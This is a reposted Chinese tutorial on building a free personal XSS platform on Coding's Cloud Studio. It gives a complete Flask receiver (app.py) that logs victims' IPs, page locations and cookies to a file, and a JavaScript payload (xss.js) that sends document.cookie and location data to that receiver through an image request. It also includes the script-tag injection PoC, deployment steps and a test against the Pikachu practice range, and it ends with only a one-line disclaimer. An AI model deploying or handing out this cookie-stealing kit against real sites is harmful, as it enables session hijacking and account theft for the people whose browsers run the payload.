加入收藏 | 设为首页 | 会员中心 | 我要投稿 PHP编程网 - 黄冈站长网 (http://www.0713zz.com/)- 数据应用、建站、人体识别、智能机器人、语音技术!
当前位置: 首页 > 服务器 > 安全 > 正文

怎么零成本建造个人专属XSS平台

发布时间:2021-12-17 00:47:34 所属栏目:安全 来源:互联网
导读:这篇文章给大家介绍怎么零成本搭建个人专属XSS平台,内容非常详细,感兴趣的小伙伴们可以参考借鉴,希望对大家能有所帮助。 0x00 背景介绍 虽然现在网络上有许多免费的XSS平台,但使用体验往往不是很好,经常在配置时需要等待很长的加载时间,其中的脚本也
这篇文章给大家介绍怎么零成本搭建个人专属XSS平台,内容非常详细,感兴趣的小伙伴们可以参考借鉴,希望对大家能有所帮助。
 
0x00 背景介绍
虽然现在网络上有许多免费的XSS平台,但使用体验往往不是很好,经常在配置时需要等待很长的加载时间,其中的脚本也难以自行修改,同时也存在可能的后台数据泄露等问题。本文意在通过其他技术途径,搭建一个临时的个人专用公网XSS平台。
 
使用技术及组件:
 
Cloud Studio:Coding旗下的云端开发环境,支持动态页面托管
 
python2.7/3.5+flask
 
js代码参考BlueLotus_XSSReceiver平台代码,可自行扩展
 
0x01 代码及原理
平台使用了两个代码文件:
 
xss.js:xss利用脚本,可扩展
 
app.py:网站主体文件,具体原理非常简单,将xss利用脚本挂载到网站根目录下,使用时将如下poc嵌入到xss漏洞处进行使用。
 
<script src="https://(个人域名)"></script>  //如果太长也可以自行生成短链
网站访问后会运行js脚本请求一张指定源的图片,通过该源构造get请求到/rec目录下,此目录挂载的功能为处理参数并写入到text.txt文件中,该文件即保存了我们最终所需要的cookie等数据。
 
app.py
# -*- coding: utf-8 -*-
 
from flask import Flask
from flask import render_template
from flask import request
import os
import datetime
 
APP_ROOT = os.path.dirname(os.path.abspath(__file__))   
TXT_PATH = os.path.join(APP_ROOT, 'templates')
app = Flask(__name__)
 
@app.route('/')
def xss():
    return render_template('xss.js')
    
@app.route('/rec')
def rec():
    x=request.args
    ip=request.headers.getlist("X-Forwarded-For")[0]
    with open(os.path.join(TXT_PATH, 'text.txt'), 'a+') as f:
        f.write('--------------------------n')
        print 'ok'
        f.write(datetime.datetime.now().strftime('%Y-%m-%d %H:%M:%S')+'n')
        f.write('ip: '+ip+'n')
        f.write('location: '+x['location']+'n')
        f.write('toplocation: '+x['toplocation']+'n')
        f.write('cookie: '+x['cookie']+'n')
        f.write('opener: '+x['opener']+'n')
            
 
    return 'ok'
 
if __name__ == '__main__':
    app.run(host='0.0.0.0')
xss.js
var website = "https://(个人域名)/rec";
(function() {
  (new Image()).src = website + '?location=' + escape((function() {
       try {
           return document.location.href
      } catch (e) {
           return ''
      }
  })()) + '&toplocation=' + escape((function() {
       try {
           return top.location.href
      } catch (e) {
           return ''
      }
  })()) + '&cookie=' + escape((function() {
       try {
           return document.cookie
      } catch (e) {
           return ''
      }
  })()) + '&opener=' + escape((function() {
       try {
           return (window.opener && window.opener.location.href) ? window.opener.location.href : ''
      } catch (e) {
           return ''
      }
  })());
})();
0x02 具体部署
访问国内托管平台Coding,注册账号并登录,发布网站可能需要实名认证
 
点击右侧Cloud Studio进入工作空间
 
初始化
点击新建工作空间,设置工作空间名称XssPlatform,预置环境Ubuntu 18.04,代码来源为空
  
点击进入,选择Python Demo
  
进入后会发现存在问题,没事先记录一下这条安装执行命令,该命令具体含义为安装程序所需相关python模块并运行app.py
 
cat requirements.txt | xargs sudo pip install -i http://pypi.douban.com/simple --trusted-host pypi.douban.com && python app.py
关闭右下角框框,查看提示发现找不到pip命令,我们手动进行安装
 
apt-get update #更新软件源
 
apt-get upgrade #更新软件
 
apt-get install python-pip #安装python-pip组件
 
安装成功后,重新执行我们记录下来的命令运行程序
 
运行成功后按下ctrl+shift+p启动命令面板,输入preview,在命令列表中点击Open Preview Tab,点击选择我的第一个python项目即可查看网页预览,记录url以便后续使用
  
平台配置
ctrl+c结束python进程,打开app.py,复制代码文章给出的代码;
 
将templates下的index.html重命名为xss.js,复制代码,将个人域名处替换为记录下的网页url
 
在控制台输入python app.py运行网站,然后在浏览器中输入域名访问,显示为js代码内容即为配置成功
 
使用测试
使用pickachu开源漏洞靶场进行测试,进入反射型xss(post),登入账号,输入利用poc,点击提交
 
可以看到Cloud Studio中已经多出了一个文本文件text.txt,内容即为记录的cookie等信息
  
0x03 注意事项
仅仅提供了一个简单的平台模型,更多的还是一种思路的拓展,请勿将其用于非法用途。
 
另外由于Cloud Studio的相关限制,平台每天最多只能运行4个小时,关闭后就无法访问
  
关于怎么零成本搭建个人专属XSS平台就分享到这里了,希望以上内容可以对大家有一定的帮助,可以学到更多知识。如果觉得文章不错,可以把它分享出去让更多的人看到。

(编辑:PHP编程网 - 黄冈站长网)

【声明】本站内容均来自网络,其相关言论仅代表作者个人观点,不代表本站立场。若无意侵犯到您的权利,请及时与联系站长删除相关内容!

    热点阅读